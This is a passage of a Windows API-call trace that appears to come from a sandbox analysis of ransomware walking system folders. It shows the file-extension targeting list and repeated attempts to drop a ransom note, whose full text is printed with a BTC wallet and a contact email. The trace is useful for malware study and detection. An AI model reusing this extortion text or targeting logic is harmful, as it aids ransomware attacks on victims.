(pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.gz") returned 0 [0165.471] lstrlenA (lpString="*.gz") returned 4 [0165.471] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.mkv") returned 0 [0165.471] lstrlenA (lpString="*.mkv") returned 5 [0165.471] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.eml") returned 0 [0165.471] lstrlenA (lpString="*.eml") returned 5 [0165.472] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaffae24a, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xaffae24a, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x908bdb89, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xd17, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmtpSettings.aspx.resx", cAlternateFileName="SMTPSE~1.RES")) returned 1 [0165.473] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.473] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SmtpSettings.aspx.resx") returned -1 [0165.473] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SmtpSettings.aspx.resx") returned -1 [0165.473] lstrcmpiA (lpString1="", lpString2="SmtpSettings.aspx.resx") returned -1 [0165.473] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx") returned="ManageAppSettings.aspx.resx" [0165.473] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\" [0165.473] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\") returned="" [0165.473] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt" [0165.473] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\how to decrypt files.txt")) returned 0xffffffff [0165.473] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.473] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.473] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.474] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.474] CloseHandle (hObject=0xffffffff) returned 0 [0165.474] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\", lpString2="SmtpSettings.aspx.resx" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\SmtpSettings.aspx.resx") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\SmtpSettings.aspx.resx" [0165.474] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaffae24a, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xaffae24a, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x908bdb89, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xd17, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmtpSettings.aspx.resx", cAlternateFileName="SMTPSE~1.RES")) returned 0 [0165.474] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.475] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112915a8, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x112dd85c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x112dd85c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732", cAlternateFileName="AME71F~1.163")) returned 1 [0165.476] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732") returned -1 [0165.476] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732") returned -1 [0165.476] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.476] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\", lpString2="amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732" [0165.476] lstrlenA (lpString="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732") returned 109 [0165.476] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112915a8, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x112dd85c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x112dd85c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.518] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.518] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112915a8, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x112dd85c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x112dd85c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.519] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.519] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.519] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0020661, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0020661, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x908e3ce7, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1fa4, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AppConfigHome.aspx", cAlternateFileName="APPCON~1.ASP")) returned 1 [0165.519] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.519] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AppConfigHome.aspx") returned 1 [0165.519] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AppConfigHome.aspx") returned 1 [0165.519] lstrcmpiA (lpString1="", lpString2="AppConfigHome.aspx") returned -1 [0165.519] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\*.*") returned="*.*" [0165.519] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\" [0165.519] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\") returned="" [0165.519] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt" [0165.519] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\how to decrypt files.txt")) returned 0xffffffff [0165.519] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.520] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.520] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.520] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.520] CloseHandle (hObject=0xffffffff) returned 0 [0165.520] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\", lpString2="AppConfigHome.aspx" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx" [0165.520] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.ems") returned 0 [0165.520] lstrlenA (lpString="*.ems") returned 5 [0165.520] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.db") returned 0 [0165.520] lstrlenA (lpString="*.db") returned 4 [0165.520] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.dbf") returned 0 [0165.520] lstrlenA (lpString="*.dbf") returned 5 [0165.520] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.myox") returned 0 [0165.520] lstrlenA (lpString="*.myox") returned 6 [0165.520] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.myo") returned 0 [0165.520] lstrlenA (lpString="*.myo") returned 5 [0165.520] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.qbw") returned 0 [0165.520] lstrlenA (lpString="*.qbw") returned 5 [0165.521] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.qbb") returned 0 [0165.521] lstrlenA (lpString="*.qbb") returned 5 [0165.521] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.qbm") returned 0 [0165.521] lstrlenA (lpString="*.qbm") returned 5 [0165.521] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.qbo") returned 0 [0165.521] lstrlenA (lpString="*.qbo") returned 5 [0165.521] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.qbx") returned 0 [0165.521] lstrlenA (lpString="*.qbx") returned 5 [0165.521] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.qba") returned 0 [0165.521] lstrlenA (lpString="*.qba") returned 5 [0165.521] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.qby") returned 0 [0165.521] lstrlenA (lpString="*.qby") returned 5 [0165.521] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.qbj") returned 0 [0165.521] lstrlenA (lpString="*.qbj") returned 5 [0165.521] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.ofx") returned 0 [0165.521] lstrlenA (lpString="*.ofx") returned 5 [0165.521] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.qif") returned 0 [0165.521] lstrlenA (lpString="*.qif") returned 5 [0165.521] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.mye") returned 0 [0165.521] lstrlenA (lpString="*.mye") returned 5 [0165.521] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.mbox") returned 0 [0165.521] lstrlenA (lpString="*.mbox") returned 6 [0165.522] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.eml") returned 0 [0165.522] lstrlenA (lpString="*.eml") returned 5 [0165.522] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.pst") returned 0 [0165.522] lstrlenA (lpString="*.pst") returned 5 [0165.522] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.ost") returned 0 [0165.522] lstrlenA (lpString="*.ost") returned 5 [0165.522] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.idx") returned 0 [0165.522] lstrlenA (lpString="*.idx") returned 5 [0165.522] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.dbx") returned 0 [0165.522] lstrlenA (lpString="*.dbx") returned 5 [0165.522] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.sql") returned 0 [0165.522] lstrlenA (lpString="*.sql") returned 5 [0165.522] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.mdb") returned 0 [0165.522] lstrlenA (lpString="*.mdb") returned 5 [0165.522] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.fdb") returned 0 [0165.522] lstrlenA (lpString="*.fdb") returned 5 [0165.522] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.wab") returned 0 [0165.522] lstrlenA (lpString="*.wab") returned 5 [0165.522] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.dat") returned 0 [0165.522] lstrlenA (lpString="*.dat") returned 5 [0165.522] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.txt") returned 0 [0165.522] lstrlenA (lpString="*.txt") returned 5 [0165.523] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.jpeg") returned 0 [0165.523] lstrlenA (lpString="*.jpeg") returned 6 [0165.523] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.jpg") returned 0 [0165.523] lstrlenA (lpString="*.jpg") returned 5 [0165.523] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.png") returned 0 [0165.523] lstrlenA (lpString="*.png") returned 5 [0165.523] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.php") returned 0 [0165.523] lstrlenA (lpString="*.php") returned 5 [0165.523] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.cs") returned 0 [0165.523] lstrlenA (lpString="*.cs") returned 4 [0165.523] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.cpp") returned 0 [0165.523] lstrlenA (lpString="*.cpp") returned 5 [0165.523] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.rar") returned 0 [0165.523] lstrlenA (lpString="*.rar") returned 5 [0165.523] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.zip") returned 0 [0165.523] lstrlenA (lpString="*.zip") returned 5 [0165.523] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.html") returned 0 [0165.523] lstrlenA (lpString="*.html") returned 6 [0165.523] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.htm") returned 0 [0165.523] lstrlenA (lpString="*.htm") returned 5 [0165.523] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.xlsx") returned 0 [0165.524] lstrlenA (lpString="*.xlsx") returned 6 [0165.524] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.xls") returned 0 [0165.524] lstrlenA (lpString="*.xls") returned 5 [0165.524] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.mp4") returned 0 [0165.524] lstrlenA (lpString="*.mp4") returned 5 [0165.524] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.ppt") returned 0 [0165.524] lstrlenA (lpString="*.ppt") returned 5 [0165.524] 